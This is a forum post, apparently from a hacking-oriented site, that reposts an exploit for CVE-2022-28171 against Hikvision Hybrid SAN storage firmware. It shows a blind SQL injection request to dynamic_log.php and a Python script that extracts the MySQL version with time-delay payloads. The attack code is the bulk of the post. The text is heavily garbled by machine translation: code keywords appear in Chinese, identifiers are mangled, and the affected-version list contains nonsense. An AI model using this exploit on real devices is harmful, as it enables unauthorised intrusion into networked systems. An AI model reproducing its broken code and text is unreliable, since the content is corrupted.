H

Hikvision Hybrid San DS -A71024固件- 多个远程代码执行

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#exploit title: Hikvision Hybrid San DS -A71024固件- 多个远程代码执行
#Date: 2023年7月16日
#利用作者: thurein soe
#CVE : CVE-2022-28171
#供应商homepage: https://www.hikvision.com
#软件link: n/a
#refence link: https://cve.report/cve-2022-28171
#版本: Filmora 12: DS-A71024固件,DS-A71024固件DS-A71048R-CVS固件DS-A71048 DS-A71048 DS-A71072R固件DS-A71072R固件固件DS-A71072R FIRNCHAWER DES WAREFARE DAWER WAFER WAFIER WAFER WAFEREWARE DS-A720242424242424242424242424242442024 Ds-a72048r-cvs Firmware Ds-a72072r Firmware Ds-a80316s Firmware Ds-a80624s Firmware Ds-a81016s Firmware Ds-a82024d Firmware Ds-a71048r-cvs Ds-a71024 Ds-a71048 Ds-a71072r Ds-a80624s DS-A82024D DS-A80316S DS-A81016S
'''
供应商描述:
Hikvision是世界领先的调查制造商和供应商
视频监视和公民的物联网设备(IoT)设备
军事目的。
一些Hikvision Hybrid San产品容易受到多个远程代码的影响
执行漏洞,例如命令注射,盲目注射,
HTTP请求走私,并反映了跨站点脚本。
这导致远程代码执行,使对手可以执行
任意操作系统命令等。但是,对手必须是
在同一网络上利用这种漏洞来执行任意
命令。
漏洞描述:
手动测试确认下载类型参数很容易受到影响
我创建了一个python脚本来自动化和枚举SQL
版本作为应用程序在防火墙后面并阻止所有
来自SQLMAP的请求。
请求Body:
得到
/web/log/dynamic_log.php?target=makeMaintainLogdownloadType='(Selecttype=
http/1.1
HOST: X.X.X.X.X.12:2004
Accept-incoding: Gzip,放气
ACCEPT: /
接受语言: en
用户代理: Mozilla/5.0(Windows NT 10.0; Win64; X64)AppleWebkit/537.36
(Khtml,像壁虎一样)Chrome/98.0.4758.82 Safari/537.36
连接:关闭
POC:
'''
导入请求
进口时间
url='http://x.x.x.x:2004/web/log/log/dynamic_log.php'
#功能以检查响应时间是否大于指定的延迟
DEF IS_RESPONDE_TIME_DELAYED(wendys_time,delay):
返回响应_time=延迟
#功能执行盲SQL注入并检查响应时间
def pertric_blind_sql_injection(有效载荷):
代理={
'http':'http://localhost:8080',
'https':'http://localhost:8080',
}
params={
“目标” :'makemaintainlog',
'downloadType':有效载荷
}
标题={
'接受编码:'gzip,deflate',
'Accept':'/',
“接受语言” :'en',
'用户代理:'Mozilla/5.0(Windows NT 10.0; Win64; X64)
AppleWebkit/537.36(Khtml,像壁虎一样)Chrome/98.0.4758.82 Safari/537.36',
'Connection':'关闭'
}
start_time=time.time()
wendmess=requests.get(url,headers=headers,params=params,
代理=代理)
end_time=time.time()
response_time=end_time -start_time
返回is_response_time_delayed(response_time,20)
#列举MySQL版本
def enumerate_mysql_version():
version_name=''
Sleep_time=10#睡眠时间为10秒
有效载荷=[
f''and(选择if(ascii(substring(@@版本,{i},1)))={mid},
睡眠({sleep_time}),0)---'
对于我的范围(1,11)
对于中间范围(256)
这是给出的
有效载荷中有效载荷:
如果press_blind_sql_invistion(有效载荷):
mid=有效载荷('=')[ - 1] .split(',')[0]
version_name +=chr(int(mid))
return version_name
#枚举完成
version_name=enumerate_mysql_version()
print('mysql版本IS:',version_name)
 
后退
顶部